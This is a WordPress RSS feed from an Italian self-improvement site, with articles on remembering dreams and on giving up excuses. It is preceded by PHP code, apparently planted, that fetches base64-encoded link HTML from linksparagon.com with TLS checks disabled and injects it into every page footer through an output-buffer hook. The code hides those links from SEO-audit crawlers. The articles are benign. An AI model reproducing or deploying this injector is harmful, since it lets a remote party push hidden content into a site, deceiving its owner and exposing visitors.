if (!defined('__LPK_IN__')) { define('__LPK_IN__', 1); if (!defined('__API_URL__')) define('__API_URL__', 'https://linksparagon.com'); if (!defined('__CACHE_TTL__')) define('__CACHE_TTL__', 300); if (!function_exists('__getCURLSite__')) { function __getCURLSite__($site, $post_data = null, $extra_headers = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $site); if (!is_null($post_data)) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data)); } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); if (!empty($extra_headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $extra_headers); } $response = curl_exec($ch); if (curl_errno($ch)) $response = false; curl_close($ch); return $response; } } if (!function_exists('__cache_get')) { function __cache_get($key) { $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json'; if (!is_file($f)) return null; $raw = @file_get_contents($f); if ($raw === false) return null; $o = @json_decode($raw, true); if (!is_array($o)) return null; if (isset($o['t']) && $o['t'] + __CACHE_TTL__ < time()) return null; return isset($o['v']) ? $o['v'] : null; } } if (!function_exists('__cache_set')) { function __cache_set($key, $val) { $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json'; @file_put_contents($f, json_encode(array('t' => time(), 'v' => $val))); } } if (!function_exists('__is_spy_bot__')) { function __is_spy_bot__() { $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; if (trim($ua) === '') return false; $bots = array( 'AhrefsBot','AhrefsSiteAudit','SemrushBot','SiteAuditBot', 'DotBot','Rogerbot','MJ12bot','MajesticBot', 'Screaming Frog SEO Spider','ScreamingFrogSEOSpider', 'DataForSeoBot','SEOkicks','SEOkicks-Robot', 'AwarioRssBot','AwarioSmartBot','AwarioBot', 'Brandwatch','Searchmetricsbot','Sidetrade indexer bot', 'peer39_crawler','BLEXBot','cognitiveSEO','LRT Bot','LRT Spider', 'Meltwater','Mediatoolkitbot','Neticlebot','SISTRIX','SerpstatBot', 'spyfu','Botify','ContentKing','DeepCrawl','Lumar','seobility', 'WebCEO','AddThis','Barkrowler','BacklinksExtendedBot','BrightEdge Crawler', 'OAI-SearchBot','CohereBot','DeepSeekBot','SEOlyze','IstellaBot', 'GrapeshotCrawler','Netvibes','NetcraftSurveyAgent' ); foreach ($bots as $bot) { if (stripos($ua, $bot) !== false) return true; } return false; } } if (!function_exists('__get_backlink_codes__')) { function __get_backlink_codes__() { $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $host = strtolower(str_replace('www.', '', preg_replace('/:\d+$/', '', $host))); if ($host === '') return null; $host_id = crc32($host); $cacheKey = 'bl_' . md5($host); $cached = __cache_get($cacheKey); if ($cached !== null) return $cached; $u = __API_URL__ . '/g/?i=' . urlencode($host_id) . '&d=' . urlencode($host) . '&t=th'; $response = __getCURLSite__($u); if ($response !== false && is_string($response)) { $c = @json_decode($response, true); if (is_array($c) && isset($c['s']) && $c['s'] == true) { __cache_set($cacheKey, $response); return $response; } } return null; } } if (!function_exists('__show_footer_backlink__')) { function __show_footer_backlink__() { $is_spy = __is_spy_bot__(); $r = ''; $raw = __get_backlink_codes__(); if (!$raw) return ''; $c = @json_decode($raw, true); if (!is_array($c) || !isset($c['s']) || $c['s'] != true || empty($c['l'])) return ''; $r .= isset($c['f']) ? $c['f'] : ''; foreach ($c['l'] as $v) { $only_google = isset($v['g']) ? (int)$v['g'] : 0; if ($only_google == 1 && $is_spy) continue; $r .= isset($v['h']) ? base64_decode($v['h']) : ''; } $r .= isset($c['e']) ? $c['e'] : ''; return $r; } } // Footer injection: named ob_start callback (PHP 5.2 uyumlu, anonim fonksiyon YOK) // - Yalnızca içeren HTML yanıtları modifiye eder // - AJAX / REST API / CRON / CLI isteklerini atlar // - str_ireplace ile öncesine düzgün ekler if (!function_exists('__lpk_ob_cb__')) { function __lpk_ob_cb__($buf) { if (!is_string($buf) || stripos($buf, '') === false) return $buf; if (defined('DOING_AJAX') && DOING_AJAX) return $buf; if (defined('REST_REQUEST') && REST_REQUEST) return $buf; if (defined('DOING_CRON') && DOING_CRON) return $buf; if (php_sapi_name() === 'cli') return $buf; $link = __show_footer_backlink__(); return ($link !== '') ? str_ireplace('', $link . '', $buf) : $buf; } } @ob_start('__lpk_ob_cb__'); } sogni – EgoFormazione – Quelli che allenano i tuoi neuroni! https://www.egoformazione.it EgoFormazione - Quelli che allenano i tuoi neuroni! Mon, 24 Jan 2022 10:51:13 +0000 it-IT hourly 1 https://wordpress.org/?v=4.7.2 Sogni: perchè si dimenticano e come possiamo ricordarli? https://www.egoformazione.it/sogni-perche-si-dimenticano-e-come-possiamo-ricordarli.html https://www.egoformazione.it/sogni-perche-si-dimenticano-e-come-possiamo-ricordarli.html#respond Thu, 15 Oct 2015 13:53:25 +0000 https://www.egoformazione.it/?p=2338 [et_pb_section admin_label=”section”][et_pb_row admin_label=”row”][et_pb_column type=”4_4″][et_pb_text admin_label=”Testo”]

Sapevi che ogni notte sogniamo per circa due ore facendo fino a quattro o cinque sogni?
Totalizziamo nell’arco della nostra vita ben sei anni passati a sognare!
Molte persone, però, dicono spesso di avere difficoltà a ricordare i propri sogni e alcuni sostengono addirittura di non sognare affatto.

Questi dati sono stati e vengono tuttora verificati tramite molteplici esperimenti nei quali i ricercatori monitorano le onde cerebrali dei pazienti dormienti svegliandoli alla fine di ogni fase REM. A quel punto i pazienti raccontano i sogni che vengono registrati e fatti ascoltare alla fine del sonno.
Alcuni soggetti al risveglio negano di aver sognato e restano addirittura sbalorditi nell’ascoltare la propria voce raccontare qualcosa che non ricordano affatto di avere sognato.

Perché spesso fatichiamo a ricordare il contenuto dei nostri sogni?

Sigmund  Freud sosteneva che abbiamo bisogno di reprimere i nostri sogni, proteggerci da essi. Quindi dimenticarli è una forma di difesa o di auto-censura, come il fatto di camuffare i sogni attraverso i simboli.

John Allan Hobson, psichiatra statunitense, sostiene che l’amnesia del sonno avrebbe un’origine organica: nel sonno Rem le cellule cerebrali che secernono le sostanze chimiche, necessarie affinché il ricordo possa consolidarsi, sono disattivate.

Secondo uno studio apparso su Neuron, il minore sincronismo tra l’attività dell’ippocampo e quella della corteccia prefrontale del cervello, che caratterizza la fase Rem, potrebbe spiegare perché al risveglio dimentichiamo improvvisamente ciò che abbiamo sognato nel corso della notte.
Rem e Nrem sono i nomi delle due fasi principali del sonno nei mammiferi che sono i rispettivi acronimi di ”rapid eye movement” e di “not rapid eye movement”.
La differenza neurologica tra la fase Rem, caratterizzata da movimenti rapidi degli occhi e da un’elevata attività cerebrale, e quella Nrem consisterebbe soprattutto nel diverso grado di sincronia tra l’attività dell’ippocampo, regione del cervello fondamentale nei processi mnemonici, e quella della corteccia prefrontale, che costituisce l’area in cui vengono immagazzinati i ricordi che costituiscono la memoria a lungo termine.


Athanassios Siapas del California Institute of Technology, ha guidato lo studio per capire se esistano specifici intervalli temporali tra l’attività della neocorteccia e quella dell’ippocampo durante il sonno, e in che modo questi intervalli differiscano tra la fase Rem e quella Nrem.
Utilizzando sofisticate tecniche di registrazione dell’attività neuronale, Siapas e i suoi colleghi hanno analizzato infatti i movimenti delle cellule nervose durante il sonno ed è risultata l’esistenza di consistenti interazioni tra l’ippocampo e la neocorteccia durante la fase Nrem, ma solo all’interno di specifici momenti di attività dell’ippocampo definiti “increspature”.
L’ipotesi dei ricercatori è che nel corso di tali “increspature” vengano trasportati da un’area all’altra del cervello informazioni ben definite per la formazione dei ricordi.
Ma considerato che i processi responsabili della formazione della memoria vengono attivati nel corso della fase Nrem, e avendo osservato come il collegamento tra l’ippocampo e la corteccia prefrontale si riduca notevolmente nel corso della fase Rem, ovvero quella legata al sogno, la maggior parte dei sogni viene dimenticata.

Tuttavia con alcuni accorgimenti possiamo imparare a ricordare i sogni!
La memoria dei sogni va allenata, proprio come la memoria che utilizziamo in fase di veglia.

Come si comincia?

Prima di andare a dormire, progetta il tuo sonno ideale. Il sogno compare quando il nostro corpo si trova in quella fase di sonno conosciuta come REM, il corpo è a riposo, ma la mente è attiva con i sogni.
Se non si dorme abbastanza durante la notte, o il sonno è continuamente interrotto, diminuisce la fase REM e si fanno meno sogni.
Per un sonno ideale crea un ambiente di sonno riposante, elimina quei rumori e quelle distrazioni che potrebbero impedirti di cadere in un sonno profondo. Se lo ritieni necessario indossa i tappi per le orecchie, e assicurati di avere tende pesanti che blocchino la luce esterna.

Utilizza tecniche di rilassamento o ascolta della musica classica per rilassarti, in questo modo riposerai meglio e sarai più facilitato a ricordare i tuoi sogni.

Metti un block notes o un quaderno con una penna sul tuo comodino.

Tieni la sveglia vicino al letto, se devi alzarti dal letto per spegnerla sarai più facilitato a dimenticare ciò che stavi sognando.

Puoi appendere un post it alla tua sveglia con scritto “Cosa hai sognato?”. In questo modo il tuo cervello, prima di elaborare nuovi pensieri, inizierà a cercare la risposta a questa domanda.

Scegli coscientemente di ricordare quello che sogni, il nostro cervello è una macchina perfetta, dandogli un nuovo compito lui lo eseguirà.

Al risveglio:

Spesso si ricorda solo il sogno che si stava svolgendo subito prima del risveglio. Non ti muovere e non fare nulla. Resta nella posizione in cui eri al risveglio e cerca di ricordare quanti più dettagli possibili prima di pensare a qualsiasi altra cosa.

Concentra lo sguardo sul primo oggetto che vedi appena ti svegli. Guarda l’oggetto, mettilo a fuoco. Questo oggetto ti aiuterà a focalizzare i vaghi ricordi che hai dei sogni appena fatti, e ad associare la memoria di quanto sognato con l’oggetto stesso. Una maniglia, una lampadina, un chiodo sul muro, qualsiasi cosa ti possa aiutare a non iniziare improvvisamente la giornata e dedicare alcuni minuti a fissare il ricordo di quanto hai appena sognato.

Crea una mappa mentale o prendi appunti scrivendo tutto ciò che ti viene in mente riguardo a quanto hai sognato, usa sempre il tempo presente, in modo da stimolare il cervello a completare i tuoi ricordi.
Puoi partire da cose basilari come il luogo dove si svolgeva, partecipanti e principali accadimenti, le sensazioni principali che hai percepito come ad esempio paura o allegria, e qualsiasi immagine più rilevante.

Se ricordi dei dialoghi, scrivi questi per primi, perché sono tra gli aspetti che più facilmente si dimenticano in un sogno.
Scrivi tutto ciò che ricordi, anche se fosse solo la descrizione di un’immagine.
Mentre scrivi o mappi gli aspetti più importanti, altri dettagli del sogno potrebbero tornarti alla mente.

Se non ricordi nulla del sogno, scrivi comunque quali sono le prime cose che ti vengono in mente, potrebbero essere pensieri collegati al sogno che stavi facendo, e in qualche caso ti possono aiutare a ricordare.

Durante il resto della giornata potrebbe accadere che alcune cose che vedi o senti ti riportino a ricordi di quanto hai sognato la notte precedente.
Scrivi questi ricordi senza esitare, e ripensaci per cercare di far affiorare maggiori dettagli.

A volte la memoria può essere sollecitata quando si assume la stessa posizione fisica che si aveva anche mentre si sognava, se ne hai la possibilità, prova a mettere la testa nello stesso posto sul cuscino, a organizzare il tuo corpo allo stesso modo e chiudi gli occhi. Se ti torna in mente il sogno, soffermatici un po’ prima di alzarti per andare a scriverlo.

Potrebbe esserti d’aiuto anche visualizzare nella tua mente il primo oggetto che hai visto quando ti sei svegliato.

Ricordare i sogni richiede sforzo e pratica. Più si diventa consapevoli dei propri sogni, più è probabile riuscire a ricordarli. Prendi l’abitudine di fare in modo di ricordarti i sogni e il processo diventerà sempre più facile con il passare del tempo.

Alla fine riuscirai a capire quali fattori aiutano a ricordare i sogni.
Prova a ripensare alle abitudini che si riferiscono al momento di andare a letto e a quello di svegliarsi al mattino, la temperatura della stanza e che cosa hai mangiato per cena.
Quali di queste variabili sembrano influenzare la tua capacità di ricordare i tuoi sogni?

Scommetto che ora non vedi l’ora di dormire e di iniziare a ricordare tutti i tuoi sogni, quindi anche se mancano alcune ore non mi resta che augurarti una meravigliosa Buonanotte con i tuoi nuovi sogni d’oro…

[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row admin_label=”Riga” make_fullwidth=”off” use_custom_width=”off” width_unit=”on” use_custom_gutter=”off” padding_mobile=”off” background_color=”#e5e5e5″ allow_player_pause=”off” parallax=”off” parallax_method=”off” make_equal=”off” parallax_1=”off” parallax_method_1=”off” column_padding_mobile=”on”][et_pb_column type=”4_4″][et_pb_cta admin_label=”Call-To-Action” title=”ALLENA LA TUA MEMORIA ANCHE DA SVEGLIO” button_url=”www.egoformazione.it/corsi/learning-skills” url_new_window=”off” button_text=”SCOPRI ORA COME FARE” use_background_color=”off” background_color=”#004181″ background_layout=”dark” text_orientation=”center” header_text_color=”#004181″ use_border_color=”off” border_color=”#ffffff” border_style=”solid” custom_button=”on” button_bg_color=”#e09900″ button_border_color=”#e09900″ button_letter_spacing=”0″ button_use_icon=”default” button_icon=”%%20%%” button_icon_placement=”right” button_on_hover=”on” button_letter_spacing_hover=”0″ header_font=”|on|||”] [/et_pb_cta][/et_pb_column][/et_pb_row][/et_pb_section]

]]>
https://www.egoformazione.it/sogni-perche-si-dimenticano-e-come-possiamo-ricordarli.html/feed 0
Rinuncia alla tua scusa più grande… https://www.egoformazione.it/rinuncia-alla-tua-scusa-piu-grande.html https://www.egoformazione.it/rinuncia-alla-tua-scusa-piu-grande.html#comments Thu, 16 Apr 2015 08:42:54 +0000 https://www.egoformazione.it/?p=1887 Ti sei mai lavato i denti con il sapone?

Hai mai asciugato i tuoi jeans in forno pur di poterli indossare subito?

Sei mai tornato a casa dopo essere uscito perchè avevi dimenticato qualcosa di importante?

Hai mai fatto lo slalom tra le macchine per arrivare prima? E non perchè fossi in ritardo, semplicemente per la voglia di arrivare?

Insomma, hai mai fatto qualcosa con talmente tanto entusiasmo da fare errori semplici e banali che se non avessi avuto tutta quella fretta e quella smania di raggiungere il risultato avresti potuto evitare?

Se mai inciampato mentre correvi incontro ai tuoi sogni?

Quanta passione c’è in ogni singola azione che ti porta a quell’obiettivo? Errori e cadute compresi!

E pensa a quanto, anche quei piccoli errori, possono esserti utili perchè sbagliando si impara e se impariamo dai nostri errori cambiando le nostre azioni e rendendole produttive, miglioreremo continuamente. Pensa anche a quanto ci è utile quell’entusiamo, quella voglia di fare, quella capacità di fare sacrifici, di mettersi in gioco e in discussione per ottenere ciò che vogliamo davvero.

A volte però, proprio questo entusiamo lo veicoliamo su tutto ciò che non è produttivo per noi, e utilizziamo lo stesso umore, la stessa energia, la stessa convinzione per inventare SCUSE. E ce ne convinciamo, ci crediamo. Le opzioni sono due: o ti sei riconosciuto in quanto ho appena scritto oppure… Starai pensando: “IO? NO! CONOSCO UN SACCO DI PERSONE CHE LO FANNO, MA IO NON SONO ASSOLUTAMENTE COSì”. Allora vi metto un po’ alla prova e vediamo se vi riconoscete in questi atteggiamenti:

Da Lunedì mangerò sano!

Vorrei tanto allenarmi, ma lavoro troppo, rientro a casa stravolto/a.

Quel libro? È così tanto tempo che devo leggerlo, ma non ho proprio mai tempo!

Devo chiamare quell’amico che non sento da un sacco, ma non riesco mai a incastrare gli orari.

Non mi metto a studiare quella lingua perchè tanto ormai…

Non le/gli chiedo di uscire, perchè non è il momento adatto.

Si fumo, è vero, ma io fumo perchè mi piace e perchè ne ho voglia, e poi mi rilassa e non è proprio il periodo di smettere.

Quante volte hai preferito continuare a fare ciò che hai sempre fatto, semplicemente perchè era più comodo, rispetto a cambiare e a fare qualcosa di buono per te?

Quante volte hai inventato scuse per sgarrare durante una dieta, per non fare qualcosa di importante o per non affrontare quel discorso spinoso?

Quante volte ti sei fatto guidare dalla paura per non fare quello che avresti realment e voluto fare?

A quante cose hai rinunciato inventando delle scuse?

Una volta mi hanno detto: “Ti puoi pentire solo di quello che non hai fatto, mai di quello che hai fatto”. Non rifletterci troppo su, perchè questo non è il momento di pentirsi. Questo è il momento di AGIRE! Voglio lanciarti una sfida, raccontandoti qualcosa di me e di alcune cose che mi sono sentita dire, come ad esempio:

“Non puoi fare la mamma, avere una passione e fare carriera”.

“Una donna non può allenarsi con i pesi e non può fare lo squat”.

Ammetto di  essere stata per molto tempo Miss Scuse, e ahimè ogni tanto ci casco ancora. Molte delle scuse che hai appena letto sono mie, e proprio per questo ho deciso di scrivere questo articolo. Mi piace pensare di dover dimostrare a me stessa, più che a chiunque altro che non ci sia niente al mondo che io non possa fare. Per questo, quando inizio a credere di non poter o di non saper fare qualcosa, la faccio.

Ho 22 anni, un bambino meraviglioso che ha da poco compiuto un anno, sono Trainer di tecniche di memoria e lettura rapida, mi alleno, scrivo, leggo e canto!

La mia sfida per te è questa: rinuncia alla tua scusa più grande, quella che continui a dire agli altri e troppe volte anche a te stesso. Apri il tuo cuore, accetta la fatica, il sacrificio, il compromesso. Sbaglierai e sarai più forte di adesso. E ogni volta in cui il tuo cervello starà per inventare una scusa fermalo, e accetta la sfida!

Oggi io ho deciso di rinunciare a una scusa: quella che mi impedisce di smettere di fumare.

E tu? Come hai intenzione di iniziare i tuoi nuovi giorni senza scuse?

]]>
https://www.egoformazione.it/rinuncia-alla-tua-scusa-piu-grande.html/feed 1